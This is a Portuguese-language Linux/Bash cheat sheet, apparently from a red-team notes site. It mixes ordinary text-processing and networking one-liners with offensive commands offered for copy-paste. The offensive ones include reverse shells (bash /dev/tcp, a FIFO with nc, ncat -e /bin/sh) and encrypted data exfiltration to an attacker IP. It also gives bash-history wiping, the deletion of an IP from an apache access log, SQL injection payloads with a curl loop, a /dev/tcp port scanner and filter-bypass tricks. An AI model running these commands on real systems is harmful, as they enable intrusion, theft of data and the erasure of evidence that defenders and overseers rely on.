Linux

1. Fundamentos Essenciais de Bash

Histórico e atalhos

!! → repete o último comando.
!$ → último argumento do último comando.
!* → todos os argumentos do último comando.
!^ → primeiro argumento do último comando.

mkdir /tmp/test; cd !$   # cria diretório e entra nele

Expansão de chaves

{1..5} → gera 1 2 3 4 5.
{a,b,c} → gera a b c.

for i in {1..3}; do touch file$i.txt; done

Substituição de processo

Permite tratar a saída de um comando como se fosse arquivo.

diff <(ls dir1) <(ls dir2)

Criar vários arquivos, dentro de uma pasta

touch cmd/{root,completion,interactive,version}.go

2. Manipulação de Texto

grep

Buscar recursivo: grep -RIn "pattern" dir
Somente match: grep -oE 'https?://[^ ]+' file

sed

Substituir globalmente: sed -i 's/foo/bar/g' file
Deletar linhas com padrão: sed -i '/DEBUG/d' logfile

awk

Extrair colunas:

awk -F: '{print $1,$3,$6}' /etc/passwd

Somatório:

awk '{s+=$2} END {print s}' values.txt

cut, sort, uniq, column

cut -d, -f1,3 data.csv
sort file | uniq -c | sort -nr | head
... | column -t

👉 Insight: essa cadeia (sort | uniq -c | sort -nr) é o padrão ouro para descobrir “Top-N mais frequentes”.

3. Localizar Arquivos

find

Compressão em massa:

find . -type f -name '*.log' -exec gzip -9 {} +

Hash de todos os arquivos (NUL-safe):

find . -type f -print0 | xargs -0 sha256sum

Regex no find

find . -regex '.*(conf|cfg)$'

👉 Insight: prefira -exec {} + a -exec {} \; para performance.

4. Loops Úteis

Loop de rede (/24)

for i in {1..254}; do
  ping -c1 -W1 192.168.0.$i &>/dev/null && echo "UP: $i"
done

Loop NUL-safe

find . -type f -print0 | while IFS= read -r -d '' f; do
  du -h "$f"
done

5. Rede e Netcat

Inspeção de rede

ss -lntp       # conexões ativas
lsof -i :443   # quem usa porta 443
ip a; ip r     # IPs e rotas

Netcat (variações)

nc -l 9000 > out.bin     # escuta (OpenBSD)
nc -l -p 9000 > out.bin  # escuta (tradicional)
nc host 9000 < file.bin  # envio

/dev/tcp

echo "HEAD / HTTP/1.0\n" > /dev/tcp/target/80

👉 Insight: muitos EDRs monitoram /dev/tcp — red teamers usam, blue teamers caçam.

6. SSH Avançado

Encadeamentos

ssh -J user@jump user@target   # jump host
ssh -ND 1080 user@host         # proxy SOCKS5
ssh -NL 8080:10.0.0.2:80 user@host  # forward local
ssh -NR 4444:127.0.0.1:22 user@host # reverse port

Transferência rápida sem scp

ssh user@host tee rfile < lfile   # upload
ssh user@host cat rfile > lfile   # download

7. OPSEC (sem rastros)

Bash history

unset HISTFILE
ln -sf /dev/null ~/.bash_history
history -c; kill -9 $$

Outros históricos

~/.wget-hsts
~/.psql_history
~/.viminfo

👉 Insight: blue teams monitoram deleção de histórico como IOC.

8. Servidores Rápidos

python3 -m http.server 8080
php -S 0:8080
busybox httpd -p 8080
ruby -run -e httpd -- -p 8080

Tip: alias pastebin rápido:

alias tb='nc termbin.com 9999'
echo "HELLO" | tb

9. Reverse Shells

Bash puro

bash -i >& /dev/tcp/IP/PORT 0>&1

FIFO Trick

mkfifo /tmp/f; /bin/sh -i </tmp/f 2>&1 | nc IP PORT >/tmp/f

Ncat com TLS

ncat --ssl IP 4443 -e /bin/sh

10. Upgrade de TTY

script -q /dev/null
python -c 'import pty; pty.spawn("/bin/bash")'
expect -c 'spawn /bin/bash; interact'

👉 Insight: essencial para usar su, ssh dentro de shell limitada.

11. Engenharia Reversa / Binários

Dumpar seção .text em bytes escapados

objcopy --dump-section .text=/dev/stdout shellcode \
| xxd -p | sed 's/../\\x&/g' | tr -d '\n'

Alternativa com hexdump

hexdump -ve '"\\\\x" 1/1 "%02x"' shellcode

12. SQL Injection (didático)

Exemplo básico

SELECT * FROM livros WHERE assunto='' UNION SELECT usuario, senha FROM usuarios--' AND lancado=1

Brute force substrings com curl

for i in $(seq 1 21 200); do
  curl -s "https://target/item.php?id=1'+UNION+SELECT+substr(secret,$i,21)--"
done

👉 Blue tip: procurar UNION SELECT, information_schema, uso de substr ou sleep() em logs.

One Liners

0) Filosofia do fluxo — Up, edit, enter, repeat

Ideia: repita o ciclo incremental até chegar ao resultado. Exemplo:

cat file | grep -i open | cut -d, -f3 | sort -V

Pareto 80/20: dominar pipes + 5 utilitários (grep, sed, awk, sort, cut) resolve a maioria das tarefas.

1) Fundamentos (que multiplicam poder)

Pipes & Redireções: cmd1 | cmd2 (saída → entrada), >, >>, <, 2>, &>.
Descritores: &0 (stdin), &1 (stdout), &2 (stderr), &n (custom). Ex.: exec 3<>/dev/tcp/10.1.1.1/80; echo -e "GET / HTTP/1.0\n" >&3; cat <&3 (HTTP manual via /dev/tcp).
Substituição de comando: $(...) — ex.: diff <(cmdA) <(cmdB) (substituição de processo cria pseudo‑arquivo).
Expansão de chaves: {1..10}, {a,b,c} — ótimo para loops e nomes.
Expansão de til: ~ (home), ~user (home de user), ~+ ($PWD), ~- ($OLDPWD).
Quoting correto: "$var" para evitar word splitting/globbing acidental.
NUL‑safety: find -print0 | xargs -0 ... (lida com nomes com espaço/\n).
História inteligente: !$ (último argumento), !! (último comando), !* (todos args), !^ (primeiro arg).
Aliases úteis: alias ll="ls -aLF"; alias l.="ls -d .[^.]*".

2) Texto em alta velocidade (grep | sed | awk | cut | sort | uniq | tr | column)

grep (buscar)

grep -RIn --color -C2 "regex" dir
grep -E 'err(or|ing|ed)' file              # regex estendida

sed (editar stream)

sed '1d; s/foo/bar/g' file                 # remove 1ª linha; troca foo→barsed -i '/192\.168\.0\.1/d' /var/log/apache2/access.log

awk (formatar, extrair, somar)

awk -F, '{print $1,$3,$6}' OFS=, file.csv  # cortar/remezclar colunas
awk '{ if (!seen[$0]++) print }' file      # uniq sem ordenar (hash)

cut | sort | uniq | tr | column

echo a,b,c,d | cut -d, -f1-3,5
sort -u file                                # ordenar + únicos
sort file | uniq -c | sort -nr | head -20   # Top-N mais frequentes
tr -s '[:space:]' ' ' < in.txt               # normalizar espaços
... | column -t                              # tabela bonita

Ordenar IPs (POSIX puro):

sort -t . -nk1,1 -k2,2 -k3,3 -k4,4 ips.txt
# GNU/BSD moderno: sort -V ips.txt

3) Encontrar & agir (find | xargs | -exec)

find . -type f -name '*.log' -exec gzip -9 {} +        # agrupa para performance
find . -type f -print0 | xargs -0 sha256sum            # NUL‑safe
awk 'FNR==1{print "===>",FILENAME}1' *.log            # cabeçalho por arquivo

Regex com find:

find . -regextype posix-extended -regex '.*/(foo|bar)\.conf'

4) Loops práticos

# Ping /24 rápido (descoberta básica)
for i in {1..254}; do ping -c1 -W1 192.168.1.$i &>/dev/null && echo UP:$i; done

# Loop NUL‑safe lendo find
find . -type f -print0 | while IFS= read -r -d '' f; do du -h "$f"; done

5) Rede (ss | ip | lsof | nc/ncat | /dev/tcp)

ss -lntp                                 # ouvindo + PID/PROC
lsof -Pan -i :443                        # quem usa 443 (sem DNS)
ip a; ip r; ip neigh                     # endereços, rotas, vizinhos

netcat (atenção à variante)

# Receber
nc -l 9000 > out.bin                     # OpenBSD nc
nc -l -p 9000 > out.bin                  # variantes antigas
# Enviar
nc HOST 9000 < file.bin
# Scan rápido
nc -znv 192.168.0.1 1-1023 |& grep -v refused

Bash /dev/tcp (portável em muitas distros)

# HTTP manual
exec 3<>/dev/tcp/10.1.1.1/80; echo -e 'GET / HTTP/1.0\n' >&3; cat <&3
# Port‑scanner simples
for p in {1..1023}; do : 2>/dev/null > "/dev/tcp/192.168.0.1/$p" && echo $p; done

SSH (tunelamento & file‑copy sem scp)

ssh -J user1@host1 user2@host2           # jump host
ssh -ND 1080 user@host                   # SOCKS5 proxy
ssh -NL 3389:desktop-1:3389 user@host    # forward local
ssh -NR 4444:localhost:4444 user@host    # reverse port
ssh user@host tee rfile < lfile          # upload tipo scp
ssh user@host cat rfile > lfile          # download tipo scp

6) OPSEC — “Leave No Trace” (deixe menos rastros)

Arquivos que “deduram”: ~/.bash_history, ~/.wget-hsts, ~/.lesshst, ~/.viminfo/*.swp, ~/.psql_history, etc.

Bash mudo:

unset HISTFILE; export HISTFILE=/dev/null
ln -sf /dev/null ~/.bash_history
history -c; kill -9 $$

Outros silenciados:

wget --no-hsts
export MYSQL_HISTFILE=/dev/null; mysql
ln -sf /dev/null ~/.psql_history; psql
vim -ni NONE file
ssh -o UserKnownHostsFile=/dev/null

“Pegadinhas” de user implicado: ssh, rdesktop, xfreerdp, ftp usam seu username atual se não especificar.

Higiene local sugerida:

~/.ssh/config         -> User root (se o contexto exigir)
~/.netrc              -> credenciais padrão (cuidado!)
~/.bashrc             -> alias seguros p/ RDP/SSH etc.

Blue Team insight: bloquear/alertar RWX, uso de /dev/tcp, FIFO em /tmp, outbound incomum, history zerado e HSTS desabilitado.

7) Exploração quando há limitações

Sem espaços:

echo${IFS}this${IFS}has${IFS}no${IFS}spaces
{echo,this,has,no,spaces}

Sem `ls(1)`/`cat(1)`:

echo *
find . -maxdepth 1
while read -r l; do echo "$l"; done < file
head -n 99999 file

“Texto‑only” (transferir binários por canal textual)

# Ler binário via base64/hex/etc. (lado receptor decodifica)
base64 -d b64.txt > out.bin
xxd -r -p hex.txt > out.bin

# Escrever binário a partir de escapes
printf %b "\105\114\106\177" > elf.bin        # octal ELF header
xxd -r -p <<< 454c467f > elf.bin
perl -e 'print "\105\114\106\177"' > elf.bin

8) Servir/compartilhar rápido (sem infra)

python -m http.server 8080               # Py3
python -m SimpleHTTPServer 8080          # Py2
ruby -run -e httpd -- -p 8080
php -S 0:8080                            # interpreta PHP
busybox httpd -p 8080

Dica: alias p/ pastebin via termbin — alias tb='nc termbin.com 9999'; echo "HELLO" | tb

9) Upgrade de TTY (shell interativa “de verdade”)

script -q /dev/null                       # usa $SHELL (portável)
script -qc /bin/bash /dev/null            # GNU way
script -q /dev/null /bin/bash             # BSD way
python -c 'import pty,os; pty.spawn("/bin/bash")'
expect -c 'spawn /bin/bash; interact'

10) Shellcode → bytes escapados (inliner)

# Dump da seção .text -> hex -> \x.. -> sem quebras
objcopy --dump-section .text=/dev/stdout shellcode \
| xxd -p \
| sed 's/../\\x&/g' \
| tr -d '\n'

# Equivalente com hexdump
hexdump -ve '"\\\\x" 1/1 "%02x"' shellcode

11) Dicas MECE (portabilidade & precisão)

GNU vs BSD/macOS: sed -i difere; grep -P (PCRE) nem sempre existe; column/sort -V variam.
NUL everywhere: padronize com -print0 | xargs -0 para nomes “difíceis”.
Evite -e do nc: indisponível no netcat-openbsd; prefira FIFO ou ncat --ssl -e (quando permitido e com consentimento).
OPSEC ≠ invisibilidade: logs de rede, DNS e EDR ainda verão o tráfego. Combine com tunnels SSH e segregação de infra.
Documente seu chain: cole o pipeline final (comentado) na engagement report para reprodutibilidade.

12) Snippets prontos (copiar/colar)

Top N strings mais comuns:

strings bin | tr -s '[:space:]' '\n' | sort | uniq -c | sort -nr | head -20

Buscar IOCs (IPs/domínios/hash) em árvore:

rg -n --hidden -g '!*\.git/*' -e '\b([0-9]{1,3}\.){3}[0-9]{1,3}\b' -e '\b[a-f0-9]{32,64}\b' -e '\b[a-z0-9.-]+\.[a-z]{2,}\b'

Mini exfil segura (quando autorizado):

tar czf - dir | openssl enc -aes-256-cbc -salt | ncat --ssl YOURIP 4443

Gerar lista de gadgets (ex.: pop rdi; ret) com Ropper:

ropper --file /lib/x86_64-linux-gnu/libc.so.6 --search 'pop rdi; ret'

13) Referências rápidas

Bash Pitfalls; Bash Hackers Wiki; ExplainShell; THC Tips & Tricks; OverTheWire Bandit; LinuxZoo; CAPA/YARA (para signatures).
Manuais: man bash, man sed, man awk, man find, man xargs, man ssh, man ss, man ip, man lsof, man nc/ncat.

Checklist final: pipes ok • quoting ok • NUL‑safe • portable flags • OPSEC ligado • registrar pipeline final.

AnteriorPentest PróximoBash Pitfalls

Atualizado há 5 meses

hashtag1. Fundamentos Essenciais de Bash

hashtagHistórico e atalhos

hashtagExpansão de chaves

hashtagSubstituição de processo

hashtagCriar vários arquivos, dentro de uma pasta

hashtag2. Manipulação de Texto

hashtaggrep

hashtagsed

hashtagawk

hashtagcut, sort, uniq, column

hashtag3. Localizar Arquivos

hashtagfind

hashtagRegex no find

hashtag4. Loops Úteis

hashtagLoop de rede (/24)

hashtagLoop NUL-safe

hashtag5. Rede e Netcat

hashtagInspeção de rede

hashtagNetcat (variações)

hashtag/dev/tcp

hashtag6. SSH Avançado

hashtagEncadeamentos

hashtagTransferência rápida sem scp

hashtag7. OPSEC (sem rastros)

hashtagBash history

hashtagOutros históricos

hashtag8. Servidores Rápidos

hashtag9. Reverse Shells

hashtagBash puro

hashtagFIFO Trick

hashtagNcat com TLS

hashtag10. Upgrade de TTY

hashtag11. Engenharia Reversa / Binários

hashtagDumpar seção .text em bytes escapados

hashtagAlternativa com hexdump

hashtag12. SQL Injection (didático)

hashtagExemplo básico

hashtagBrute force substrings com curl

hashtagOne Liners

hashtag0) Filosofia do fluxo — Up, edit, enter, repeat

hashtag1) Fundamentos (que multiplicam poder)

hashtag2) Texto em alta velocidade (grep | sed | awk | cut | sort | uniq | tr | column)

hashtaggrep (buscar)

hashtagsed (editar stream)

hashtagawk (formatar, extrair, somar)

hashtagcut | sort | uniq | tr | column

hashtagOrdenar IPs (POSIX puro):

hashtag3) Encontrar & agir (find | xargs | -exec)

hashtagRegex com find:

hashtag4) Loops práticos

hashtag5) Rede (ss | ip | lsof | nc/ncat | /dev/tcp)

hashtagnetcat (atenção à variante)

hashtagBash /dev/tcp (portável em muitas distros)

hashtagSSH (tunelamento & file‑copy sem scp)

hashtag6) OPSEC — “Leave No Trace” (deixe menos rastros)

hashtagBash mudo:

hashtagOutros silenciados:

hashtagHigiene local sugerida:

hashtag7) Exploração quando há limitações

hashtagSem espaços:

hashtagSem ls(1)/cat(1):

hashtag“Texto‑only” (transferir binários por canal textual)

hashtag8) Servir/compartilhar rápido (sem infra)

hashtag9) Upgrade de TTY (shell interativa “de verdade”)

hashtag10) Shellcode → bytes escapados (inliner)

hashtag11) Dicas MECE (portabilidade & precisão)

hashtag12) Snippets prontos (copiar/colar)

hashtagTop N strings mais comuns:

hashtagBuscar IOCs (IPs/domínios/hash) em árvore:

hashtagMini exfil segura (quando autorizado):

hashtagGerar lista de gadgets (ex.: pop rdi; ret) com Ropper:

hashtag13) Referências rápidas